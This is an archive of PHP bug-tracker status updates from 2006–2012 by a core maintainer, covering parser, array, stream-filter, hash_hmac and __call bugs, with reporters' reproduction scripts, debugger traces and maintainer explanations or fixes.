Bug #48255 [Ver]: Mixing control structure syntaxes causes parse error

2012-07-03 Thread pollita
Edit report at https://bugs.php.net/bug.php?id=48255edit=1

 ID: 48255
 Updated by: poll...@php.net
 Reported by:faisun at sina dot com
 Summary:Mixing control structure syntaxes causes parse error
 Status: Verified
 Type:   Bug
 Package:Scripting Engine problem
 Operating System:   *
 PHP Version:5.*, 6CVS (2009-05-12)
 Block user comment: N
 Private report: N

 New Comment:

So, what's happening is that the parser is associating the else: with the 
normal 
style if block on the line immediately above it, and of course mixing in a 
single if/else like that is verboten.

Should it be fixed? Probably, but it's a serious edge case, and massaging the 
parser to cope with it is much harder than the following workaround:

?
if(21):
echo ABCD;
if(43){ echo EFGH; };
else:
echo 123456;
endif;
?

Note the extra semicolon added after the inner-if statement.  This is enough to 
terminate that expression and ensure that the else statement binds to the right 
if.

Leaving this bug report open, because it is definitely a bug, but I'm not sure 
who's going to invest the cycles on it.


Previous Comments:

[2010-05-05 21:16:33] whatrevolution at yahoo dot com

Bug OP test, result:

( ! ) Parse error: syntax error, unexpected ':' in 
/var/www/php_bugs/mixed_control_structure.php on line 5


PHP Version 5.2.10-2ubuntu6.4

System  Linux 2.6.31-20-generic x86_64
Build Date  Jan 6 2010 22:36:47
Server API  Apache 2.0 Handler 
PHP API 20041225
PHP Extension   20060613
Zend Extension  220060519
Debug Build no
Thread Safety   disabled
Zend Memory Manager enabled 

Apache/2.2.12 (Ubuntu)


[2009-05-13 04:05:30] faisun at sina dot com

Description:

PHP Version: 5.2.9.2

?
if(21):
echo ABCD;
if(43){ echo EFGH; } 
else:
echo 123456;
endif;
?
Result: Parse error: parse error in E:\wwwroot\1.php on line 5

?
if(21):
echo ABCD;
if(43){ echo EFGH; } else{}
else:
echo 123456;
endif;
?
Result:ABCDEFGH



Reproduce code:
---
?
if(21):
echo ABCD;
if(43){ echo EFGH; } 
else:
echo 123456;
endif;
?

Expected result:

ABCDEFGH

Actual result:
--
Parse error: parse error in E:\wwwroot\1.php on line 5






-- 
Edit this bug report at https://bugs.php.net/bug.php?id=48255edit=1


Bug #62119 [Opn-Ver]: basename broken with non-ASCII-chars

2012-07-03 Thread pollita
Edit report at https://bugs.php.net/bug.php?id=62119edit=1

 ID: 62119
 Updated by: poll...@php.net
 Reported by:thomas dot hebinck at digionline dot de
 Summary:basename broken with non-ASCII-chars
-Status: Open
+Status: Verified
 Type:   Bug
 Package:*Directory/Filesystem functions
 Operating System:   Linux/Ubuntu
 PHP Version:5.3.13
 Block user comment: N
 Private report: N

 New Comment:

Verified on Debian, but since this is the behavior of the underlying libc 
implementation, I'm not sure it's PHP's role to fix it.

Leaving open for now since we could potentially detect this case and deal with 
it, 
but on initial look I'm inclined to push it off on the OS.


Previous Comments:

[2012-05-23 08:38:45] thomas dot hebinck at digionline dot de

Description:

With the default locale setting C, basename() drops non-ASCII-chars at the 
beginning of a filename.

Test script:
---
$path='/test/äaä.txt';
echo $path.\n;
setlocale(LC_ALL,'C');
echo dirname($path).'/'.basename($path).\n;
setlocale(LC_ALL,'en_US.iso885915'); // bash: locale -a
echo dirname($path).'/'.basename($path).\n;


Expected result:

/test/äaä.txt
/test/äaä.txt
/test/äaä.txt

Actual result:
--
/test/äaä.txt
/test/aä.txt
/test/äaä.txt







-- 
Edit this bug report at https://bugs.php.net/bug.php?id=62119edit=1


Bug #55061 [Opn-Ver]: Array autoindex[] overflow

2012-07-03 Thread pollita
Edit report at https://bugs.php.net/bug.php?id=55061edit=1

 ID: 55061
 Updated by: poll...@php.net
 Reported by:vovan-ve at yandex dot ru
 Summary:Array autoindex[] overflow
-Status: Open
+Status: Verified
 Type:   Bug
 Package:Arrays related
 Operating System:   WindowsXP SP3
 PHP Version:5.3.6
 Block user comment: N
 Private report: N

 New Comment:

Reproduced on Debian.

Tempting as it may be to go the string index route for values greater than 
PHP_INT_MAX, I'm more inclined to get a workable Big Int in PHP first, then use 
that for the index (beyond PHP_INT_MAX)


Previous Comments:

[2012-02-27 23:45:25] vovan-ve at yandex dot ru

Reproduced with the same behaviour and result in Ubuntu 11.10 i386.


[2011-07-29 14:39:20] vovan-ve at yandex dot ru

No, I have no non-official extensions. I have disabled all extensions for test 
even. May be your int is not int32?


[2011-07-27 06:52:24] larue...@php.net

I can not reproduce this warning, do you have non-php-official extension 
installed?

if yes, plz remove them then check again. thanks


[2011-06-29 06:03:07] vovan-ve at yandex dot ru

Sorry for typo. var_dymp == var_dump


[2011-06-29 04:47:05] vovan-ve at yandex dot ru

Description:

There is a test code:

  $a = array(0x7FFF = 42);
  $a[] = 37;
  var_dymp($a);

Second line emits warning:

  Warning: Cannot add element to the array as the next element
  is already occupied in ... on line 2

and doesn't add element with value 37. This is absolutely abnormal
behaviour. At least there is incorrect text for Warning. I expect,
the element should be added with any index (i.e. string 2147483648
as the result of 0x7FFF+1 thru float), or something else. But
element was not added even.

Test script:
---
$a = array(0x7FFF = 42);
$a[] = 37;
var_dymp($a);

Expected result:

array(1) {
  [2147483647]=
  int(42)
  [2147483648]=
  int(37)
}

OR (when int will become int64):

array(1) {
  [2147483647]=
  int(42)
  [2147483648]=
  int(37)
}

Actual result:
--
Warning: Cannot add element to the array as the next element is already 
occupied in ... on line 2
array(1) {
  [2147483647]=
  int(42)
}






-- 
Edit this bug report at https://bugs.php.net/bug.php?id=55061edit=1


Bug #61665 [Opn-Fbk]: include on stream wrapper results in wsod

2012-06-27 Thread pollita
Edit report at https://bugs.php.net/bug.php?id=61665edit=1

 ID: 61665
 Updated by: poll...@php.net
 Reported by:btmash at gmail dot com
 Summary:include on stream wrapper results in wsod
-Status: Open
+Status: Feedback
 Type:   Bug
 Package:Streams related
 Operating System:   Ubuntu 10.04
 PHP Version:5.3.10
 Block user comment: N
 Private report: N



Previous Comments:

[2012-06-28 00:56:28] poll...@php.net

Hi, could you paste the wrapper code again? That link is invalid (the content 
hosting site went down).  Thanks!


[2012-04-19 08:08:15] btmash at gmail dot com

I'm setting it back to open since I've provided feedback.


[2012-04-09 23:29:13] btmash at gmail dot com

I've pasted a version of the class at http://paste.pocoo.org/show/578721/ since 
it is longer than 20 lines.

Please note that a large chunk of this is the drupal stream wrapper interface 
and at the bottom is the stream class that I implemented 'MyLocalStreamWrapper' 
which returns back the directory it is currently in. I perform an include to a 
info.php file which consists of:

?php

phpinfo();



I tested this out on PHP 5.3.8 and it worked. When I tested this on 5.3.10, it 
failed.


[2012-04-09 22:12:44] cataphr...@php.net

Please include the code of the stream wrapper, otherwise we can't reproduce 
this problem. In particular, the implementation of stream_open would be very 
important (but please include everything).


[2012-04-08 09:56:51] btmash at gmail dot com

Description:

Hi,

I am currently running a drupal website using a module 
(http://drupal.org/project/configuration) that provided its own contributed 
stream wrapper to find the local configuration directory (so it was in the 
format 'config://path/to/file' - the implementation can be seen at 
http://drupalcode.org/project/configuration.git/blob/refs/heads/7.x-1.x:/configuration_stream.inc).
 On my local environment of running the site with the module (which runs php 
5.3.6), the configuration would be able to scan on files with the protocol 
without any issues. 

However, once I moved to my staging environment which runs php 5.3.10, I would 
end up with a wsod. The strange part was that the page returned a code 200 and 
nothing in the error log. I made sure that allow_url_fopen was enabled and the 
protocols actually registered so it should have worked correctly. Moreover, 
using file_exists and is_file work to ensure the file exists so that meant the 
file was being found the first time around.

For now, my workaround has been to use drupal's functions to get the stream 
converted correctly (see http://drupal.org/files/config-stream.patch as my 
workaround for the module to work) but problem seems to stem from PHP which is 
why I am filing my issue here. Any help that can be provided would be greatly 
appreciated.

Test script:
---
Implement a simple stream wrapper to a file in local (lets call it local).

Create a php file to include from somewhere (called test_include.inc).

Have the line 'include local://path/to/test_include.inc'.

Expected result:

It should result in a code 200 but also a wsod.

Actual result:
--
The script should be correctly included.






-- 
Edit this bug report at https://bugs.php.net/bug.php?id=61665edit=1


Bug #52409 [Opn-Bgs]: Wrong hash_hmac result

2010-07-22 Thread pollita
Edit report at http://bugs.php.net/bug.php?id=52409edit=1

 ID:   52409
 Updated by:   poll...@php.net
 Reported by:  blackakula at gmail dot com
 Summary:  Wrong hash_hmac result
-Status:   Open
+Status:   Bogus
 Type: Bug
 Package:  OpenSSL related
 Operating System: Ubuntu 10.04
 PHP Version:  5.3.3

 New Comment:

The outputs don't agree because the inputs are different.  Look closely
at the values you're passing in for each:



Ruby:
eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImV4cGlyZXMiOjEyNzk4MTgwMDAsIm9hdXRoX3Rva2VuIjoiMTIxMTc2NDk3OTEwMTg5fDIuNlBKWkFNTFozOGcxaUZYMXdraUZwZ19fLjM2MDAuMTI3OTgxODAwMC02MjAzMDc1NDJ8UXd5MHVuZEJ2YVlSYnJWcDBFSkN4eGdVRjQ4LiIsInVzZXJfaWQiOiI2MjAzMDc1NDIifQ



PHP:
eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImV4cGlyZXMiOjEyNzk4MTA4MDAsIm9hdXRoX3Rva2VuIjoiMTIxMTc2NDk3OTEwMTg5fDIuNENNcl9UWV9OVnNKTmpSQlNzOGQ1QV9fLjM2MDAuMTI3OTgxMDgw

MC02MjAzMDc1NDJ8eFg5QTBLRzRKbnNHNXZmQ2VaSGJpQmNJeE9vLiIsInVzZXJfaWQiOiI2MjAzMDc1

NDIifQ



They're identical up to ...EwMTg5fDIuNbut then the Ruby version
continues with lBKWkFN... while the PHP version continues with
ENNcl9...



The hash of two different values will be different.


Previous Comments:

[2010-07-22 19:48:28] blackakula at gmail dot com

Description:

I've tried many other ways to calculate this SHA-256. All sources gave
me expected result (string(64)
88e0d97d68acf161407af5965ae1e33b1743dbc400af1cc8a2020d47f45ca83e),
except PHP.

Source 1: http://hash.online-convert.com/sha256-generator (online
sha256-generator)

Source 2: ruby code:
OpenSSL::HMAC.hexdigest('sha256','49a40e1d5c24be8a6e7d566a05d346d0','eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImV4cGlyZXMiOjEyNzk4MTgwMDAsIm9hdXRoX3Rva2VuIjoiMTIxMTc2NDk3OTEwMTg5fDIuNlBKWkFNTFozOGcxaUZYMXdraUZwZ19fLjM2MDAuMTI3OTgxODAwMC02MjAzMDc1NDJ8UXd5MHVuZEJ2YVlSYnJWcDBFSkN4eGdVRjQ4LiIsInVzZXJfaWQiOiI2MjAzMDc1NDIifQ')



PHP code example (gave me string(64)
61c9a97bd820052765e1291708352acadb397ea15489bf8be18bd34f775cda1a):

?php

var_dump(hash_hmac('sha256','eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImV4cGlyZXMiOjEyNzk4MTA4MDAsIm9hdXRoX3Rva2VuIjoiMTIxMTc2NDk3OTEwMTg5fDIuNENNcl9UWV9OVnNKTmpSQlNzOGQ1QV9fLjM2MDAuMTI3OTgxMDgwMC02MjAzMDc1NDJ8eFg5QTBLRzRKbnNHNXZmQ2VaSGJpQmNJeE9vLiIsInVzZXJfaWQiOiI2MjAzMDc1NDIifQ','49a40e1d5c24be8a6e7d566a05d346d0',false));

?

Test script:
---
?php

var_dump(hash_hmac('sha256','eyJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImV4cGlyZXMiOjEyNzk4MTA4MDAsIm9hdXRoX3Rva2VuIjoiMTIxMTc2NDk3OTEwMTg5fDIuNENNcl9UWV9OVnNKTmpSQlNzOGQ1QV9fLjM2MDAuMTI3OTgxMDgwMC02MjAzMDc1NDJ8eFg5QTBLRzRKbnNHNXZmQ2VaSGJpQmNJeE9vLiIsInVzZXJfaWQiOiI2MjAzMDc1NDIifQ','49a40e1d5c24be8a6e7d566a05d346d0',false));

?

Expected result:

string(64)
88e0d97d68acf161407af5965ae1e33b1743dbc400af1cc8a2020d47f45ca83e

Actual result:
--
string(64)
61c9a97bd820052765e1291708352acadb397ea15489bf8be18bd34f775cda1a






-- 
Edit this bug report at http://bugs.php.net/bug.php?id=52409edit=1


#43324 [Bgs]: Label scope

2007-11-19 Thread pollita
 ID:  43324
 Updated by:  [EMAIL PROTECTED]
 Reported By: felipensp at gmail dot com
 Status:  Bogus
 Bug Type:Scripting Engine problem
 PHP Version: 6CVS-2007-11-18 (snap)
 New Comment:

class foo { }

Is considered by the engine to be an unconditional class declaration.
 This allows the class to be bound to the execution context at compile
time and the runtime instruction to be erased.



{ class foo { } }

Is considered by the engine to be a conditional class declaration. 
This prevents the compiler from performing an early (unconditional)
class binding, so it has to leave the binding instruction in the runtime
code.  Since the instruction is executed at runtime, it is potentially
performed more than once.



Put more simply:

$a = 'foo';
class bar { }
$b = 'baz';

Is turned into:

class bar { }
$a = 'foo';
$b = 'baz';



Whereas:

$a = 'foo';
{ class bar { } }
$b = 'baz';


Is left alone.



This is a deliberate design in the engine meant to reduce the speed
impact caused by classes.


Previous Comments:


[2007-11-18 17:00:23] [EMAIL PROTECTED]

Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php

There is no label scope...



[2007-11-18 15:17:59] felipensp at gmail dot com

Description:

Only occur error when inside a block. (e.g. if, empty block, ...)

Reproduce code:
---
?php

$i = 0;

a:
// No error
class foo { }

// Produces error
// Fatal error: Cannot redeclare class foo 
/*
{
  class foo { }
}
*/

if ($i++ != 4) goto a;

Expected result:

Error ?

Actual result:
--
Error whenever declaring inside a block.





-- 
Edit this bug report at http://bugs.php.net/?id=43324edit=1


#36492 [Asn-Csd]: stream_filter_register causes memory leaks

2007-08-04 Thread pollita
 ID:   36492
 Updated by:   [EMAIL PROTECTED]
 Reported By:  sqchen at citiz dot net
-Status:   Assigned
+Status:   Closed
 Bug Type: Streams related
 Operating System: *
 PHP Version:  5.2CVS-2007-07-23
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.




Previous Comments:


[2007-07-23 12:14:07] [EMAIL PROTECTED]

Still happens with latest 5.2CVS checkout.



[2006-02-23 17:07:37] [EMAIL PROTECTED]

assigned to the other maintainer



[2006-02-23 06:56:46] sqchen at citiz dot net

I think it is actully stream_filter_append() function cause memory
leaks,
attention: php-5.1.1 will not cause memory leaks, I have compare the
source code of php-5.1.1 with php-5.1.2, and I found there are only
little difference in ~\main\streams\filter.c line 207-208. 

if (brigade-tail == bucket) {
return;

php-5.1.1 have not, bug php-5.1.2 have.



[2006-02-23 06:33:56] sqchen at citiz dot net

Description:

stream_filter_register cause memory leaks when the php version is 5.1.2
and add --enable-debug parameter

Reproduce code:
---
?php
class strtolower_filter extends php_user_filter{}
stream_filter_register(strtolower, strtolower_filter);
$fp = fopen(foo-bar.txt, w);
stream_filter_append($fp, strtolower);
fwrite($fp, Line1\n);
fwrite($fp, WORD - 2\n);
fwrite($fp, Easy As 123\n);
fclose($fp);
readfile(foo-bar.txt);
 ?


Actual result:
--
[Thu Feb 23 13:32:38 2006]  Script:  'stream_filter_register.php'
/home/sqchen/sqchen/php-5.1.2/main/streams/filter.c(78) :  Freeing
0x083EEC14 (32 bytes), script=stream_filter_register.php
Last leak repeated 2 times
=== Total 3 memory leaks detected ===






-- 
Edit this bug report at http://bugs.php.net/?id=36492edit=1


#40694 [Opn-Ver]: __call() does not allow passing args by reference

2007-03-02 Thread pollita
 ID:  40694
 Updated by:  [EMAIL PROTECTED]
 Reported By: [EMAIL PROTECTED]
-Status:  Open
+Status:  Verified
 Bug Type:Scripting Engine problem
 PHP Version: 5CVS-2007-03-02 (CVS)
 New Comment:

Summary from IRC:

This should be fixable by selectively populating arg_info in
zend_std_get_method() with a structure that turns on the pass rest by
ref flag.   That'll tell the macros in zend_vm_def.h to send the
arguments by reference.  From there, you might need to modify
zend_std_call_user_call() a little bit where it's building the args
array... (Havn't looked close enough to be sure)

While addressing this, you should look at the return value as well,
again this should be a minor matter of checking the __call
implementation and flipping the return type in zend_std_get_method()...


Previous Comments:


[2007-03-02 17:27:59] [EMAIL PROTECTED]

Description:

__call() method does not allow specifying the arguments array by
reference. Essentially this means that there is no way to return
modified arguments when using overloading.

Reproduce code:
---
class Foo {
function __call($method, $args)
{
print $args[0].\n;
$args[0] = 5;
print $args[0].\n;
return true;
}
}

$v = 'str';

$o = new Foo();
$o-test($v);

var_dump($v);


Expected result:

str
5
int(5)


Actual result:
--
str
5
string(3) str






-- 
Edit this bug report at http://bugs.php.net/?id=40694edit=1


#38648 [Asn-Csd]: NULL pointer leads to core dump in php_stream_bucket_unlink()

2006-10-11 Thread pollita
 ID:   38648
 Updated by:   [EMAIL PROTECTED]
 Reported By:  songmaqd at hotmail dot com
-Status:   Assigned
+Status:   Closed
 Bug Type: Streams related
 Operating System: UNIX
 PHP Version:  5CVS-2006-08-30 (CVS)
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Fix will appear in 5.2.0RC6


Previous Comments:


[2006-09-01 12:57:19] [EMAIL PROTECTED]

Assigned to the maintainer.



[2006-08-31 10:07:31] songmaqd at hotmail dot com

Here is the reproduce script:
?php
class strtoupper_filter extends php_user_filter {
  function filter($in, $out, $consumed, $closing)
{
  while ($bucket = stream_bucket_make_writeable($in)) {}
}
}
stream_filter_register(strtoupper, strtoupper_filter);
$fp = fopen(foo-bar.txt, w);
stream_filter_append($fp, strtoupper);
fwrite($fp, Line1\n);

Note:
1. This bug can not be reproduced on Linux platform. My distro is SuSE
10.1. I can reproduce the bug on one certain UNIX platform.

2.The above script is for testing purpose and is deliberated written
like that. It is not following the stream filter coding way.

3. Here is some debugger info. php_stream_bucket_unlink was called
twice I guess the second call is to clean the system resource and
brigade is 0x0 at this moment.
 
[1] stopped in php_stream_bucket_unlink at line 235 in file filter.c 
($t2)
  235   if (bucket-prev) {
(/tmp/dbx) print *bucket
(next = 0x0, prev = 0x0, brigade = 0x220C70E8, buf = Line1., buflen =
6, own_buf = 0, is_persistent = 0, refcount = 1)
(/tmp/dbx) print *bucket-brigade
(head = 0x2223D000, tail = 0x2223D000)
(/tmp/dbx) print *bucket-brigade-head
(next = 0x0, prev = 0x0, brigade = 0x220C70E8, buf = Line1., buflen =
6, own_buf = 0, is_persistent = 0, refcount = 1)
(/tmp/dbx) next
stopped in php_stream_bucket_unlink.$b156 at line 238 in file
filter.c  ($t2)
  238   bucket-brigade-head = bucket-next;
(/tmp/dbx) list
  239   }
  240   if (bucket-next) {
  241   bucket-next-prev = bucket-prev;
  242   } else if (bucket-brigade) {
  243   bucket-brigade-tail = bucket-prev;
  244   }
  245   bucket-brigade = NULL;
  246   bucket-next = bucket-prev = NULL;
  247   }
(/tmp/dbx) cont
[1] stopped in php_stream_bucket_unlink at line 235 in file filter.c 
($t2)
  235   if (bucket-prev) {
(/tmp/dbx) print *bucket
(next = 0x0, prev = 0x0, brigade = 0x0, buf = , buflen = 0, own_buf =
0, is_persistent = 0, refcount = 0)
(/tmp/dbx) next
stopped in php_stream_bucket_unlink at line 240 in file filter.c 
($t2)
  240   if (bucket-next) {
(/tmp/dbx) next
stopped in php_stream_bucket_unlink at line 245 in file filter.c 
($t2)
  245   bucket-brigade = NULL;
(/tmp/dbx) next
stopped in php_stream_bucket_unlink at line 246 in file filter.c 
($t2)
  246   bucket-next = bucket-prev = NULL;
(/tmp/dbx) next
stopped in php_stream_bucket_unlink at line 247 in file filter.c 
($t2)
  247   }
(/tmp/dbx) cont
program exited
 



[2006-08-30 08:48:23] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a short but complete example script to be able to reproduce
this bug ourselves. 

A proper reproducing script starts with ?php and ends with ?,
is max. 10-20 lines long and does not require any external 
resources such as databases, etc. If the script requires a 
database to demonstrate the issue, please make sure it creates 
all necessary tables, stored procedures etc.

Please avoid embedding huge scripts into the report.





[2006-08-30 05:49:47] songmaqd at hotmail dot com

Description:

In source file main/streams/filter.c, function PHPAPI void
php_stream_bucket_unlink(php_stream_bucket *bucket TSRMLS_DC)
 needs some additional sanity check for NULL pointer of brigade.
Otherwise it leads to core dump if brigade is NULL.

A possible example for this fix is:
PHPAPI void php_stream_bucket_unlink(php_stream_bucket *bucket
TSRMLS_DC)
{
if (bucket-prev) {
bucket-prev-next = bucket-next;
} else if (bucket-brigade) /*newly added*/{
bucket-brigade-head = bucket-next;
}
if (bucket-next) {
bucket-next-prev = bucket-prev;
} else if (bucket-brigade) /*newly added*/{
bucket-brigade-tail = bucket-prev;
}
bucket-brigade = NULL;
bucket-next = bucket

#38649 [Asn-Csd]: NULL pointer leads to core dump in php_stream_bucket_unlink()

2006-10-11 Thread pollita
 ID:   38649
 Updated by:   [EMAIL PROTECTED]
 Reported By:  songmaqd at hotmail dot com
-Status:   Assigned
+Status:   Closed
 Bug Type: Streams related
 Operating System: UNIX
 PHP Version:  5CVS-2006-08-30 (snap)
 Assigned To:  pollita
 New Comment:

This bug has been fixed in CVS.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
 
Thank you for the report, and for helping us make PHP better.

Fix will appear in 5.2.0RC6 (though different from your suggested fix)


Previous Comments:


[2006-09-01 12:57:34] [EMAIL PROTECTED]

Assigned to the maintainer.



[2006-08-31 10:28:27] songmaqd at hotmail dot com

Here is the reproduce script:

1. At first run the belowing script as server process
?php
$socket = stream_socket_server(tcp://localhost:8000, $errno,
$errstr);
if (!$socket) {
 echo $errstr ($errno)br /\n;
} else {
while(1){
$conn = stream_socket_accept($socket);
var_dump(fread($conn, 1024));
stream_socket_sendto($conn, The local time is
.date(n/j/Y g:i
 a),STREAM_OOB);
}
}
fclose($socket);
?
2. Then run the following script in other shell as client process
?php
$st = pfsockopen(tcp://localhost, 8000);
var_dump(stream_socket_get_name($st, false));
var_dump(stream_socket_get_name($st, true));
fwrite($st, user:passwd);
var_dump(stream_socket_recvfrom($st, 1024));
?

Note:
1. This bug can not be reproduced on Linux platform. My distro is SuSE
10.1. I can reproduce the bug on one certain UNIX platform.

2.The above script is for testing purpose and is deliberated written
like that. It is not following the stream socket coding way.

3. Here is some debugger info.
 
(gdb) b xp_socket.c:221
Breakpoint 1 at 0x8255cb6: file
/home/sma/src/php-5.1.2/main/streams/xp_socket.c, line 221.
(gdb) run server.php
Starting program: /home/sma/src/php-5.1.2/sapi/cli/php server.php
[Thread debugging using libthread_db enabled]
[New Thread 16384 (LWP 5640)]
string(11) user:passwd
[Switching to Thread 16384 (LWP 5640)]

Breakpoint 1, php_sockop_set_option (stream=0x84a18f4,
option=-1074674592, value=0, ptrparam=0xbff1c3b0)
at /home/sma/src/php-5.1.2/main/streams/xp_socket.c:221
221 if (addr) {
(gdb) bt
#0  php_sockop_set_option (stream=0x84a18f4, option=-1074674592,
value=0, ptrparam=0xbff1c3b0)
at /home/sma/src/php-5.1.2/main/streams/xp_socket.c:221
#1  0x08256063 in php_tcp_sockop_set_option (stream=0x84a6a5c,
option=7, value=-1074674592, ptrparam=0xbff1c3b0)
at /home/sma/src/php-5.1.2/main/streams/xp_socket.c:735
#2  0x082494f5 in _php_stream_set_option (stream=0x84a6a5c, option=7,
value=0, ptrparam=0xbff1c460)
at /home/sma/src/php-5.1.2/main/streams/streams.c:1129
#3  0x08255634 in php_stream_xport_sendto (stream=0x84a6a5c,
buf=0xbff1c460 , buflen=3220292704, flags=1, addr=0x0,
addrlen=3220292704)
at /home/sma/src/php-5.1.2/main/streams/transports.c:481
#4  0x08224599 in zif_stream_socket_sendto (ht=-1074674592,
return_value=0x84a699c, return_value_ptr=0x0, this_ptr=0x0,
return_value_used=0)
at /home/sma/src/php-5.1.2/ext/standard/streamsfuncs.c:328
#5  0x0829cad0 in zend_do_fcall_common_helper_SPEC
(execute_data=0xbff1c6f0) at zend_vm_execute.h:192
#6  0x0829c388 in execute (op_array=0x84a17d4) at zend_vm_execute.h:92
#7  0x0827cab0 in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /home/sma/src/php-5.1.2/Zend/zend.c:1101
#8  0x0823827d in php_execute_script (primary_file=0xbff1ec20) at
/home/sma/src/php-5.1.2/main/main.c:1720
#9  0x082fe29f in main (argc=2, argv=0xbff1ecb4) at
/home/sma/src/php-5.1.2/sapi/cli/php_cli.c:1077
(gdb) next
220 {
(gdb)
221 if (addr) {
(gdb)
222 return sendto(sock-socket, buf, buflen, flags,
addr, addrlen);
(gdb)
220 {
(gdb)

stacke backtrace #3 clearly showed that addr=0x0 and addrlen is
an invalide value. But it still called sendto(sock-socket, buf,
buflen, flags, addr, addrlen);. Howeve sendto is highly platform
dependent. It is not optimized.



[2006-08-30 08:48:28] [EMAIL PROTECTED]

Thank you for this bug report. To properly diagnose the problem, we
need a short but complete example script to be able to reproduce
this bug ourselves. 

A proper reproducing script starts with ?php and ends with ?,
is max. 10-20 lines long and does not require any external 
resources such as databases, etc. If the script requires a 
database to demonstrate the issue, please make sure it creates 
all necessary tables, stored procedures etc.

Please avoid embedding huge scripts into the report.





[2006-08-30 06

#36515 [Asn-Csd]: stream_filter_append with zlib inflate filter on http stream crashes

2006-10-11 Thread pollita
 ID:   36515
 Updated by:   [EMAIL PROTECTED]
 Reported By:  mark at vectrex dot org dot uk
-Status:   Assigned
+Status:   Closed
 Bug Type: Streams related
 Operating System: Linux
 PHP Version:  5.1.2
 Assigned To:  pollita
 New Comment:

Fixed. See 38648


Previous Comments:


[2006-02-26 01:39:46] [EMAIL PROTECTED]

zlib.inflate cannot handle gzip data (only *raw* deflated data; note
that this is not what a web server would return as deflate encoded
content).

If the version requirement for libz would be raised to 1.2.2, 0x2f
could be passed to inflateInit2 as window bits, which would cause libz
to try to inflate gzip as well as zlib encoded data (AKA
Content-Ecnoding: deflate); though a check would be needed for
Z_DATA_ERROR and a second try with -MAX_WBITS (for raw deflated data)
should be started at the first run.

However this is not the root cause of the SEGV. It seems related to
making the incoming bucket writable and freeing the bucket before
returning a fatal error to the stream filter layer.

Assigning to Sara, as she's written the zlib filter and should decide
what's going to happen.

I suggest you use the http.inflate filter of the PECL http package in
the meantime.



[2006-02-25 23:06:11] [EMAIL PROTECTED]

Doesn't happen with the http.inflate filter.
I might have alook at it another day.



[2006-02-24 20:15:41] mark at vectrex dot org dot uk

I've tried this again on snapshot php5.1-200602241730, it crashes in
the same place. The gdb stack trace is almost identical so I haven't
posted it.

Mark



[2006-02-24 17:49:11] [EMAIL PROTECTED]

Please try using this CVS snapshot:

  http://snaps.php.net/php5.1-latest.tar.gz
 
For Windows:
 
  http://snaps.php.net/win32/php5.1-win32-latest.zip





[2006-02-24 17:27:42] mark at vectrex dot org dot uk

Description:

I'm trying to fetch a gzipped item from a web server and inflate it
using the zlib inflate filter.

This causes a segfault.

Reproduce code:
---
?php
echo Registered filters: --- \n\n;
print_r(stream_get_filters());

$opts = array(
'http'=array(
'method'=GET,
'header' = Accept-Encoding:gzip
)
);
$ctx = stream_context_create($opts);
$url = http://www.vectrex.org.uk/mark/web/test.txt.gz;;

$f = fopen($url, r, false, $ctx);
echo appending filter...\n;
stream_filter_append($f, 'zlib.inflate', STREAM_FILTER_READ);
echo filter appended, getting data\n;
$data = stream_get_contents($f);
$metadata = stream_get_meta_data($f);
fclose($f);

echo METADATA: - \n\n;
print_r($metadata);

echo DATA: - \n\n;
print $data ;
?

Expected result:

The file will be printed uncompressed. This is intended to use the CLI
SAPI.

Actual result:
--
Registered filters: --- 

Array
(
[0] = string.rot13
[1] = string.toupper
[2] = string.tolower
[3] = string.strip_tags
[4] = convert.*
[5] = convert.iconv.*
[6] = zlib.*
)
appending filter...

Then it crashes with a segfault, stack trace is:

#0  0x0828efb8 in php_stream_bucket_unlink (bucket=0x86bac94,
tsrm_ls=0x859b018)
at /home/mark/unpack/php-5.1.2/main/streams/filter.c:228
#1  0x0828f46d in _php_stream_filter_append (chain=0x86bad74,
filter=0x86b9934, 
tsrm_ls=0x859b018) at
/home/mark/unpack/php-5.1.2/main/streams/filter.c:370
#2  0x0826729a in apply_filter_to_stream (append=1, ht=0,
return_value=0x86b8894, 
return_value_ptr=0x0, this_ptr=0x0, return_value_used=0,
tsrm_ls=0x859b018)
at /home/mark/unpack/php-5.1.2/ext/standard/streamsfuncs.c:1085
#3  0x0826739c in zif_stream_filter_append (ht=0, return_value=0x0,
return_value_ptr=0x0, 
this_ptr=0x0, return_value_used=0, tsrm_ls=0x0)
at /home/mark/unpack/php-5.1.2/ext/standard/streamsfuncs.c:1123
#4  0x082d5fee in zend_do_fcall_common_helper_SPEC
(execute_data=0xbfaa9910, tsrm_ls=0x859b018)
at zend_vm_execute.h:192
#5  0x082d56ec in execute (op_array=0x86b5994, tsrm_ls=0x859b018) at
zend_vm_execute.h:92
#6  0x082bb1fc in zend_execute_scripts (type=8, tsrm_ls=0x859b018,
retval=0x0, file_count=3)
at /home/mark/unpack/php-5.1.2/Zend/zend.c:1101
#7  0x0827a064 in php_execute_script (primary_file=0xbfaabd90,
tsrm_ls=0x859b018)
at /home/mark/unpack/php-5.1.2/main/main.c:1720
#8  0x0832cf73 in main (argc=2, argv=0xbfaabe54)
at /home/mark/unpack/php-5.1.2/sapi/cli/php_cli.c:1077

#38648 [Csd-Bgs]: NULL pointer leads to core dump in php_stream_bucket_unlink()

2006-10-11 Thread pollita
 ID:   38648
 Updated by:   [EMAIL PROTECTED]
 Reported By:  songmaqd at hotmail dot com
-Status:   Closed
+Status:   Bogus
 Bug Type: Streams related
 Operating System: UNIX
 PHP Version:  5CVS-2006-08-30 (CVS)
 Assigned To:  pollita
 New Comment:

Changing status for record keeping purposes.

Not actually bogus, but it is a duplicate of Bug#36515 which wins
because it was reported first.

